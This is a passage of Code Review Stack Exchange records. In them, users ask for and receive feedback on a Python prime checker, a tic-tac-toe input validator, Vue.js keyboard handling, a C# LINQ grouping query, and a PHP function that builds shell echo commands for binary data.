"body": "Awesome explanation, i've swapped to `Date` API as you suggested as i've just read that Moment has some memory leaks in modern frameworks and as i'm using Angular the `Date` was what i needed"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:07:09.073",
"Id": "249754",
"ParentId": "249736",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249754",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:55:24.647",
"Id": "249736",
"Score": "3",
"Tags": [
"javascript",
"performance"
],
"Title": "I need some suggestions to speed up my array manipulation code"
}
|
249736
|
<p>so obviously this SIMPLE code checks if the number is prime or not. I need to make it more advanced, easier to use, fewer lines or any improvement.</p>
<pre><code>while True:
lista = []
try:
num = int(input("Enter the amount of numbers: "))
for i in range(0, num):
value = int(input("Enter the numbers one by one: "))
lista.append(value)
except:
print(''';-;
Bruh, make sure you are entering numbers.''')
for i in lista:
if i <= 1:
print("Duh,", i, "is not a primal number.")
continue
for j in range(2, i):
if i % j == 0:
print("Duh,", i, "is not a primal number.")
break
else:
print("SMH,", i, "is a primal number obviously.")
</code></pre>
|
[] |
[
{
"body": "<p>First improvement I see is mathematical: to check if a number <code>n</code> is prime, it's sufficient to verify that it's not divisible by any integer between 2 and <code>math.ceil(math.sqrt(n))</code> (don't forget to <code>import math</code> at the top of your file). That's going to make your program more efficient.</p>\n<p>Another improvement would be to split the code that deals with getting the list of numbers <code>lista</code> from the user, and the code that finds if a single number is prime or not, into two separate functions that you call from the main <code>while True</code> loop. This will aid readability and code reuse.</p>\n<p>A third improvement is to rename the variable <code>lista</code> to a more expressive name like <code>numbers</code> or <code>candidates</code> or something else.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:03:15.067",
"Id": "249748",
"ParentId": "249739",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:10:49.040",
"Id": "249739",
"Score": "2",
"Tags": [
"python",
"beginner",
"python-3.x",
"mathematics"
],
"Title": "A prime number checker (Multi numbers).py"
}
|
249739
|
<p>Write a function make_human_move(current_player, board), which does the following:</p>
<ol>
<li>Print out the player's shape (e.g. if the player shape is 'X', the function prints "X's move").</li>
<li>Asks the human player for his/her move. The message asked is "Enter row and column [0 - 2]: ".</li>
<li>A move consists of two integer values separated by a space (e.g. '0 0'). You can assume the input will always be two integer values separated by a space.</li>
<li>The function checks if the move is valid or not.<br />
a) A valid move is when the integer value is between 0 and 2 for both row and column values.<br />
b) It also makes sure that a valid location on the board is empty (i.e. currently an empty space character ' ').</li>
<li>If a move is invalid, the function prints "Illegal move. Try again." and repeats from step 2.</li>
<li>Once a valid move is entered, the board state is updated.</li>
</ol>
<p>This is how I am doing it right now.</p>
<pre><code>def make_human_move(current_player, board):
"""Given a board state and the human piece ('O' or 'X')
ask the player for a location to play in. Repeat until a
valid response is given. Then make the move, i.e., update the board by setting the chosen cell to the player's piece.
"""
print(current_player + "'s move")
user_input = input("Enter row and column [0 - 2]: ")
input_list = user_input.split()
while True:
restart = False
for i in input_list:
if (int(i) > 2 or int(i) < 0) or (board[int(input_list[0])][int(input_list[1])] != " "):
print("Illegal move. Try again.")
user_input = input("Enter row and column [0 - 2]: ")
input_list = user_input.split()
restart = True
break
if restart:
continue
else:
board[int(input_list[0])][int(input_list[1])] = current_player
break
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:40:53.183",
"Id": "489708",
"Score": "2",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:12:44.287",
"Id": "489738",
"Score": "1",
"body": "Why would you use recursion for this?"
}
] |
[
{
"body": "<p>Here's my attempt. The function <code>make_human_move</code> just delegates the actual work to a recursive function. The function <code>guard_range</code> simply checks if the given argument (which must be an int) is in the expected range, and if not, it raise an exception. In the interesting part of the code, which is the recursive function <code>make_human_move_rec</code>, I used exceptions mainly because this way I'm able to deal with malformed input from the user (for instance, if the user inputs <code>0 z</code>, the <code>int(input_list[1])</code> will raise an exception).</p>\n<pre><code>def make_human_move(current_player, board):\n print(current_player + "'s move")\n make_human_move_rec(current_player, board)\n\ndef guard_range(x):\n if x > 2 or x < 0: raise\n return x\n\ndef make_human_move_rec(current_player, board):\n user_input = input("Enter row and column [0 - 2]: ")\n input_list = user_input.split()\n try:\n # There are three ways the following lines can raise an exception: the\n # input is not formatted correctly, it's not a number, or the input is\n # out of range.\n input_row = guard_range(int(input_list[0]))\n input_col = guard_range(int(input_list[1]))\n\n # Also raise an exception if the board is occupied at the destination.\n if board[input_row][input_col] != " ":\n raise\n\n # If we get here, then the move is valid. We do our thing.\n board[input_row][input_col] = current_player\n except:\n print("Illegal move. Try again.")\n make_human_move_rec(current_player, board)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:06:39.357",
"Id": "249753",
"ParentId": "249740",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:14:17.463",
"Id": "249740",
"Score": "-2",
"Tags": [
"python",
"recursion"
],
"Title": "Is it possible to use recursion to solve the following problem? I am using while and for loops right now"
}
|
249740
|
<p>I am creating a VueJS component of an audio player.</p>
<p>I am having some difficulties in finding the ideal way to get the arrow keys and space bar to work.</p>
<p>I have found a solution, however I think it is not the best, nor the most effective. I've added an event listener to the DOM in the component, but the problem is that I will have multiple players along the page, so I will have multiple DOM listeners.</p>
<p>Is it a good solution or is there a better one?</p>
<pre class="lang-js prettyprint-override"><code> // component code
...
document.addEventListener( 'keydown', event => {
if ( !state.isPlaying )
return;
switch ( event.keyCode ) {
case 32:
pause();
break;
case 37:
audio.currentTime -= 2;
break;
case 39:
audio.currentTime += 2;
break;
default:
break;
}
});
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<h2>Determining the key pressed</h2>\n<p>The code contains this line:</p>\n<blockquote>\n<pre><code>switch ( event.keyCode ) {\n</code></pre>\n</blockquote>\n<p>Looking at the MDN documentation for <code>keyCode</code> we see:</p>\n<blockquote>\n<h3>Deprecated</h3>\n<p>This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode#Browser_compatibility\" rel=\"nofollow noreferrer\">compatibility table</a> at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.</p>\n</blockquote>\n<p>There is the related StackOverflow post <a href=\"https://stackoverflow.com/questions/4471582/keycode-vs-which\"><em>.keyCode vs. .which</em></a> from 2010 and the accepted answer has been updated with recent information about using <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code\" rel=\"nofollow noreferrer\"><code>code</code></a> though browser support isn't complete so you should consider which browsers your users might use (e.g. IE?)</p>\n<p>The <a href=\"https://vuejs.org/v2/guide/events.html#Key-Codes\" rel=\"nofollow noreferrer\">VueJS documentation for Event handling</a> even has a section about <a href=\"https://vuejs.org/v2/guide/events.html#Key-Codes\" rel=\"nofollow noreferrer\">Key Codes</a>.</p>\n<blockquote>\n<blockquote>\n<p>The use of <code>keyCode</code> events <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode\" rel=\"nofollow noreferrer\"><strong>is deprecated</strong></a> and may not be supported in new browsers.</p>\n</blockquote>\n<p>Using <code>keyCode</code> attributes is also permitted:</p>\n<pre><code><input v-on:keyup.13="submit">\n</code></pre>\n<p>Vue provides aliases for the most commonly used key codes when necessary for legacy browser support:</p>\n</blockquote>\n<blockquote>\n<ul>\n<li><code>.enter</code></li>\n<li><code>.tab</code></li>\n<li><code>.delete</code> (captures both “Delete” and “Backspace” keys)</li>\n<li><code>.esc</code></li>\n<li><code>.space</code></li>\n<li><code>.up</code></li>\n<li><code>.down</code></li>\n<li><code>.left</code></li>\n<li><code>.right</code></li>\n</ul>\n</blockquote>\n<p>Those could be used in the template instead of the script section.</p>\n<pre><code><player @keyup.space="pause" @keyup.right="audio.currentTime -= 2" ...>\n</code></pre>\n<p>Perhaps a method could be created to add (or subtract time) for the left and right arrow keys - e.g.:</p>\n<pre><code>methods: {\n addTime: function(delta) {\n audio.currentTime += delta\n }\n</code></pre>\n<p>Then that method can be used in the template:</p>\n<pre><code><player @keyup.space="pause" @keyup.left="addTime(-2)" @keyup.right="addTime(2)">\n</code></pre>\n<h2>Multiple handlers</h2>\n<p>If there is a need to have multiple players and a single event handler then an Event bus might be an ideal solution. There are multiple guides for creating an Event Bus (e.g. on <a href=\"https://www.digitalocean.com/community/tutorials/vuejs-global-event-bus\" rel=\"nofollow noreferrer\">digitalocean.com</a>, <a href=\"https://medium.com/@andrejsabrickis/https-medium-com-andrejsabrickis-create-simple-eventbus-to-communicate-between-vue-js-components-cdc11cd59860\" rel=\"nofollow noreferrer\">medium.com</a>, <a href=\"https://vuejsdevelopers.com/2020/01/06/handling-events-vue-js/#event-bus\" rel=\"nofollow noreferrer\">vuejsdevelopers.com</a>) but I don't see one in the vueJS documentation.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:57:54.163",
"Id": "489717",
"Score": "0",
"body": "Thank you for such a detailed answer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:47:51.077",
"Id": "249744",
"ParentId": "249741",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:25:07.687",
"Id": "249741",
"Score": "2",
"Tags": [
"javascript",
"ecmascript-6",
"event-handling",
"audio",
"vue.js"
],
"Title": "Multiple audio player - arrow keys & space"
}
|
249741
|
<p>I have a list of objects of class NameOwnersBasedOnRule with properties Name, Rule and Owner:</p>
<pre><code>var nameOwnersBasedOnRule = new List<NameOwnersBasedOnRule>
{
new NameOwnersBasedOnRule { Name = "Name1", Rule = "Rule1", Owner = "Owner1"},
new NameOwnersBasedOnRule { Name = "Name1", Rule = "Rule2", Owner = "Owner2"},
new NameOwnersBasedOnRule { Name = "Name1", Rule = "Rule3", Owner = "Owner3"},
new NameOwnersBasedOnRule { Name = "Name2", Rule = "Rule2", Owner = "Owner2"},
new NameOwnersBasedOnRule { Name = "Name3", Rule = "Rule1", Owner = "Owner1"},
new NameOwnersBasedOnRule { Name = "Name3", Rule = "Rule1", Owner = "Owner2"},
new NameOwnersBasedOnRule { Name = "Name3", Rule = "Rule1", Owner = "Owner3"}
};
</code></pre>
<p>Then I have a below dataPacket with Rules and multiple instances (InstanceName1, InstanceName2) of InstanceData having Name,</p>
<pre><code> var dataPacket = new Packet
{
Id = new Guid("2e08bd98-68eb-4358-8efb-9f2adedfb034"),
Rules = new List<string> { "Rule1", "Rule2" },
Results = new Result
{
ResultName = "ResultName1",
Instances = new List<Instance>
{
new Instance
{
InstanceName = "InstanceName1",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V1"},
new InstanceData{Name = "Name2", Value = "V2"},
new InstanceData{Name = "Name3", Value = "V3"},
new InstanceData{Name = "Name4", Value = "V4"}
}
},
new Instance
{
InstanceName = "InstanceName2",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V5"},
new InstanceData{Name = "Name2", Value = "V6"},
new InstanceData{Name = "Name3", Value = "V7"},
new InstanceData{Name = "Name4", Value = "V8"}
}
}
}
}
};
</code></pre>
<ul>
<li><p>I need to prepare and split InstanceData to each owner based on Name and Rule match...</p>
</li>
<li><p>Both instance of Name1 should be distributed to Owner1 and Owner2.</p>
</li>
<li><p>Both instance of Name2 only to Owner2.</p>
</li>
<li><p>Both instance of Name3 to all owners Owner1, Owner2, Owner3</p>
</li>
<li><p>Both instance of 'Name4 to NONE as no match of Name/Rule with any owner with master listnameOwnersBasedOnRule`.</p>
</li>
</ul>
<p>Below is expected output I am looking for,</p>
<pre><code>var owner1Data = new Packet
{
Id = new Guid("2e08bd98-68eb-4358-8efb-9f2adedfb034"),
Results = new Result
{
ResultName = "ResultName1",
Instances = new List<Instance>
{
new Instance
{
InstanceName = "InstanceName1",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V1"},
new InstanceData{Name = "Name3", Value = "V3"}
}
},
new Instance
{
InstanceName = "InstanceName2",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V5"},
new InstanceData{Name = "Name3", Value = "V7"}
}
}
}
}
};
var owner2Data = new Packet
{
Id = new Guid("2e08bd98-68eb-4358-8efb-9f2adedfb034"),
Results = new Result
{
ResultName = "ResultName1",
Instances = new List<Instance>
{
new Instance
{
InstanceName = "InstanceName1",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V1"},
new InstanceData{Name = "Name2", Value = "V2"},
new InstanceData{Name = "Name3", Value = "V3"}
}
},
new Instance
{
InstanceName = "InstanceName2",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name1", Value = "V5"},
new InstanceData{Name = "Name2", Value = "V6"},
new InstanceData{Name = "Name3", Value = "V7"},
}
}
}
}
};
var owner3Data = new Packet
{
Id = new Guid("2e08bd98-68eb-4358-8efb-9f2adedfb034"),
Results = new Result
{
ResultName = "ResultName1",
Instances = new List<Instance>
{
new Instance
{
InstanceName = "InstanceName1",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name3", Value = "V3"}
}
},
new Instance
{
InstanceName = "InstanceName2",
InstanceDatas = new List<InstanceData>
{
new InstanceData{Name = "Name3", Value = "V7"}
}
}
}
}
};
</code></pre>
<p>Here is my C# LINQ query query to get above desired result,</p>
<pre><code>var test = (from grp in nameOwnersBasedOnRule.GroupBy(x => x.Owner)
//filter Name here based on rule matched
let result1 = grp.Where(item1 => dataPacket.Rules.Contains(item1.Rule)).Select(x => x.Name).Distinct().ToList()
select new
{
Application = grp.Key,
Data = new Packet
{
Id = dataPacket.Id,
Results = new Result
{
ResultName = dataPacket.Results.ResultName,
Instances = dataPacket.Results.Instances
//result1 used here
.Where(item => item.InstanceDatas.Any(data => result1.Contains(data.Name)))
.Select(item => new Instance
{
InstanceName = item.InstanceName,
InstanceDatas = new List<InstanceData>(item.InstanceDatas
//result1 used here as well
.Where(data => result1.Contains(data.Name))
.Select(data => new InstanceData
{
Name = data.Name,
Value = data.Value
}))
}).ToList()
}
}
});
</code></pre>
<p><strong>Here I am doing group by on Owner and for each owner I am validating same packet again and again to get desired results for a owner. Can I improve this to avoid group by loop or any other better way? Please suggest!</strong></p>
<p>Here is my all class structures used for below question,</p>
<pre><code>public class NameOwnersBasedOnRule
{
public string Name { get; set; }
public string Rule { get; set; }
public string Owner { get; set; }
}
public class Packet
{
public Guid Id { get; set; }
public List<string> Rules { get; set; }
public Result Results { get; set; }
}
public class Result
{
public string ResultName { get; set; }
public List<Instance> Instances { get; set; }
}
public class Instance
{
public string InstanceName { get; set; }
public List<InstanceData> InstanceDatas { get; set; }
}
public class InstanceData
{
public string Name { get; set; }
public string Value { get; set; }
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:40:28.500",
"Id": "489706",
"Score": "2",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:53:05.277",
"Id": "489745",
"Score": "1",
"body": "Most of the code in this question appears to be hypothetical and that makes the question off-topic for Code Review. Please see the [Code Review guidelines for asking good questions](https://codereview.stackexchange.com/help/how-to-ask)."
}
] |
[
{
"body": "<p><strong>.NET Collections is your friend</strong></p>\n<blockquote>\n<p>NOTE: My sample code is intended to show the idea of the thing, not be ready-to-compile code using all those classes you created. My spider-sense tells me they're not all necessary.</p>\n</blockquote>\n<p>A custom collection <em>will</em> solve your problems. Inherit or compose with, say <code>List</code> and use the many functions that take expressions (technically <code>Predicate</code>) that tell the collection how to <code>Find</code>, <code>Sort</code>, compare, etc.</p>\n<p>The takeaway is that there is lots of magic built into .NET collection classes. The effort is very worth it. Your custom collection code will be amazingly simple. The client code will be unbelievably clean, clear, and simple.</p>\n<pre><code>public class RuleOwners {\n protected List< NameOwnersBasedOnRule > Owners { get; set; }\n\n public NameOwnersBasedOnRule FindByName(string theName) {\n return Owners.Find( x => x.Name = theName );\n }\n}\n</code></pre>\n<p>Of course you can return a filtered <code>RuleOwners</code> collection.</p>\n<p>Of course there is <code>Sort</code> that also takes an expression. If you override <code>CompareTo</code> then <code>RuleOwners.Sort()</code> (no parameter) automatically sorts according to your custom <code>CompartTo</code> - a default sort.</p>\n<hr />\n<p>Here's a notion of how adding to the collection might work. NOTE::: First, use constructors to make <code>NameOwnersBasedOnRule</code> objects. Next, <code>List.Contains</code> uses <code>NameOwnersBasedOnRule.Equals</code> in the background. You must override <code>NameOwnersBasedOnRule.Equals</code> - here we assume <code>Equals</code> was overridden and I've arbitrarily decided objects are equal by Name.</p>\n<pre><code>public class RuleOwners {\n protected List< NameOwnersBasedOnRule > Owners { get; set; }\n\n public bool Add ( InstanceData rawData ) {\n if (rawData = null) return;\n\n NameOwnersBasedOnRule newGuy = new NameOwnersBasedOnRule(rawData);\n\n if (Owners.Contains(newGuy)) {\n // add rawData.Rules to existing object.\n } else {\n Owners.Add( newGuy);\n }\n }\n}\n</code></pre>\n<p>NOTE: I don't use inheritance because I want to control what functionality is exposed, and only the intended custom behavior. Otherwise client code can use every public <code>List</code> method.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T04:08:02.117",
"Id": "489777",
"Score": "0",
"body": "Thanks for your reply @radarbob. Mostly I didn't get how my `dataPacket ` works with custom collection. How to split and prepare data for each owner. If you can further put some code and on how to use, that will be helpful. Appreciate!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:19:26.073",
"Id": "489825",
"Score": "0",
"body": "Your classes are incomprehensible. What are they for? What are they supposed to do? Classes are about what they do. A class with no methods, i.e. no functionality is pointless. The point of collection classes is to put \"collection\" functionality where it belongs. How to select (or find, group, add, delete, count, etc) `Packets`, for example should be in a `Packets` collection. My examples show how simple that can be."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:46:32.697",
"Id": "489828",
"Score": "0",
"body": "*... how ... `dataPacket` works with [other classes]*. Given a `Packet` class with appropriate Packet methods - ditto for all your classes - then it is obvious how to create them, what can be done with/to them. Writing interactive code is simply a matter of using the API's - the class' public methods. Your code is the opposite of that. Class specific, collection specific, and interactive code is all mixed together. There simply is nothing there that we can make sense of and determine what your post is asking."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:26:50.733",
"Id": "249757",
"ParentId": "249742",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:16:26.823",
"Id": "249742",
"Score": "1",
"Tags": [
"c#"
],
"Title": "Is possible to get rid of group by loop for each owner"
}
|
249742
|
<p>edit: here is a cleaned-up version incorporating most (but not all) feedback, thanks guys; <a href="https://gist.github.com/divinity76/79efd7b8c0d7849b956cd194659c98e5" rel="nofollow noreferrer">https://gist.github.com/divinity76/79efd7b8c0d7849b956cd194659c98e5</a></p>
<p>edit2, 2021-07-16: found a bug (possible security vulnerability, even?), it will fail on echo -ne "-ne", that can fixed that by adding <code>$i !== 0 && </code> before <code>strpos($specialAsciiWhitelist, $curr)</code></p>
<p>I need to... generate a linux shell command that prints binary data to stdout (which will then be piped to something's stdin, in this case it's actually curl),</p>
<p>The easy way to do it would be to just generate commands like <code>echo base64 | base64 -d</code> , but most often the data will be near-ascii (in fact it will be <code>application/x-www-form-urlencoded</code>-data much of the time), and it would be beneficial for debugging if the generated command was readable (base64 isn't readable),</p>
<p>I made this generator:</p>
<pre class="lang-php prettyprint-override"><code>/**
* generate command to echo (binary?) data to stdout
*
* @param string $binary
* the (optionally binary) data to echo
* @param int $max_ish_line_length
* the circa-max line length for the data (PS! it's not accurate, it wraps at *circa* this length)
* @return string
*/
function generateBinaryEcho(string $binary, int $max_ish_line_length = 50): string
{
$inner_max_ish_line_length = (- 2) + $max_ish_line_length;
$ret = "";
// http://www.asciitable.com/
$specialAsciiWhitelist = " !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~";
$line_length = strlen("echo -ne '");
$add = function (string $string_to_add) use (&$ret, &$line_length): void {
$line_length += strlen($string_to_add);
$ret .= $string_to_add;
};
for ($i = 0; $i < strlen($binary); ++ $i) {
if ($line_length >= $inner_max_ish_line_length) {
$ret .= "'\\\n'";
$line_length = strlen("'");
}
$curr = $binary[$i];
if ($curr === "\\") {
$add("\\\\");
continue;
}
if ($curr === '\'') {
$add('\'\\\'\'');
continue;
}
if ($curr === "\n") {
$add("\\n");
continue;
}
if ($curr === "\r") {
$add("\\r");
continue;
}
if (ctype_alnum($curr) || strpos($specialAsciiWhitelist, $curr) !== false) {
$add($curr);
continue;
}
// some binary-ish or unicode-ish data, hex-escape it..
$hex = bin2hex($curr);
$hex = str_split($hex, 2);
$hex = '\\x' . implode('\\x', $hex);
$add($hex);
continue;
}
$ret = "echo -ne '" . $ret . "'";
return $ret;
}
</code></pre>
<p>usage:</p>
<pre><code><?php
$everything = "";
for($i=0;$i<256;++$i){
$everything.=chr($i);
}
$str = "Hello, World!" . $everything;
echo generateBinaryEcho($str);
</code></pre>
<p>outputs:</p>
<pre class="lang-sh prettyprint-override"><code>echo -ne 'Hello, World!\x00\x01\x02\x03\x04\x05\x06'\
'\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13'\
'\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'\
' !"#$%&'\''()*+,-./0123456789:;<=>?@ABCDEFGHIJK'\
'LMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxy'\
'z{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89'\
'\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95'\
'\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1'\
'\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad'\
'\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9'\
'\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5'\
'\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1'\
'\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd'\
'\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9'\
'\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5'\
'\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
</code></pre>
<p>as for tests,</p>
<pre><code>$everything = "";
for($i=0;$i<256;++$i){
$everything.=chr($i);
}
echo generateBinaryEcho($everything);
</code></pre>
<p>outputs:</p>
<pre><code>echo -ne '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09'\
'\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16'\
'\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&'\'''\
'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUV'\
'WXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80'\
'\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c'\
'\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98'\
'\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4'\
'\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'\
'\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc'\
'\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8'\
'\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4'\
'\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'\
'\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec'\
'\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8'\
'\xf9\xfa\xfb\xfc\xfd\xfe\xff'
</code></pre>
<p>I'll call that output for "everything" from here on,</p>
<p>and when I run:</p>
<pre><code>everything | wc -c
</code></pre>
<p>wc tells me it contains 256 bytes (as expected)</p>
<p>and when I run:</p>
<pre><code>everything | hex
</code></pre>
<p>I get:</p>
<blockquote>
<p>000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff</p>
</blockquote>
<p>and when I cross-reference that with the original $everything variable from php, there's 0 corruption there, so it seems to work (related fun fact: in PHP, strings are just byte arrays)</p>
<p>(I know that allowing <code>|</code> and <code>\</code> and <code>'</code> without hex'ing it is kind of like playing with fire, but i think i managed to do it in a secure manner, it'd be impressive if someone proves me wrong though).</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T13:49:32.680",
"Id": "521618",
"Score": "1",
"body": "Instead of editing the question to update your code (and risking invalidation of answers), it's better to post your discovery as a self-answer. We encourage you to point out as an answer what you missed when writing the code - more people will learn from it that way! (and you'll gain more reputation points)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T14:18:20.353",
"Id": "521622",
"Score": "0",
"body": "@TobySpeight thanks for the heads-up, i have reverted the code, but i left in the warning that the original code now has a known bug. i don't want to make a new answer, as i have very little to add besides Sam Onela's answer"
}
] |
[
{
"body": "<h3 id=\"separating-concerns-simplifying-code-zxnm\">Separating concerns, Simplifying code</h3>\n<p>The function has quite a bit going on. In every iteration of the <code>for</code> loop <code>$add</code> is called, so a separate function to get the character to add could be abstracted from within the loop. The series of <code>if</code> statements can be simplified by making a mapping of values to add - see <code>$replacements</code> in the sample below. Actually the function <code>$add</code> makes little sense- the loop can simply determine how many characters to add to <code>$line_length</code> and add the character to <code>$ret</code>.</p>\n<p>The conditional block at the beginning of the loop could be eliminated if the characters were <strong>mapped</strong> to an array and the array was split into lines (e.g. using <a href=\"https://www.php.net/manual/en/function.array-chunk.php\" rel=\"nofollow noreferrer\"><code>array_chunk()</code></a> and <code>implode()</code>).</p>\n<h3 id=\"initializing-line-length-variable-nyvp\">Initializing line length variable</h3>\n<p>The variable <code>$ret</code> could be initialized with the start of the string:</p>\n<blockquote>\n<pre><code>$ret = "echo -ne '";\n</code></pre>\n</blockquote>\n<p>That way instead of setting the length using a hard-coded string that is repeated later on:</p>\n<blockquote>\n<pre><code>$line_length = strlen("echo -ne '");\n</code></pre>\n</blockquote>\n<p>It can just reference that string:</p>\n<pre><code>$line_length = strlen($ret);\n</code></pre>\n<p>Obviously this would require updating the value returned from the function.</p>\n<p>Also this line to reset the line length within the loop:</p>\n<blockquote>\n<pre><code>$line_length = strlen("'");\n</code></pre>\n</blockquote>\n<p>Can be simplified to:</p>\n<pre><code>$line_length = 1;\n</code></pre>\n<p>Though that is a micro-optimization, which PHP might already handle.</p>\n<h3 id=\"iterating-over-the-string-k8h6\">Iterating over the string</h3>\n<p>Instead of iterating over the string using a standard <code>for</code> loop, a <code>foreach</code> could be used with an array. There are multiple ways to generate an array -e.g. with <a href=\"https://www.php.net/str_split\" rel=\"nofollow noreferrer\"><code>str_split()</code></a> which will split the string into bytes, rather than characters when dealing with a multi-byte encoded string<sup><a href=\"https://www.php.net/manual/en/function.str-split.php#refsect1-function.str-split-notes\" rel=\"nofollow noreferrer\">1</a></sup>, or <a href=\"https://www.php.net/mb_split\" rel=\"nofollow noreferrer\"><code>mb_split()</code></a>.</p>\n<pre><code>foreach(str_split($binary) as $i => $curr) {\n</code></pre>\n<p>Then there is no need to set <code>$curr</code> manually in the loop:</p>\n<pre><code>$curr = $binary[$i];\n</code></pre>\n<h3 id=\"excess-continue-uarb\">Excess 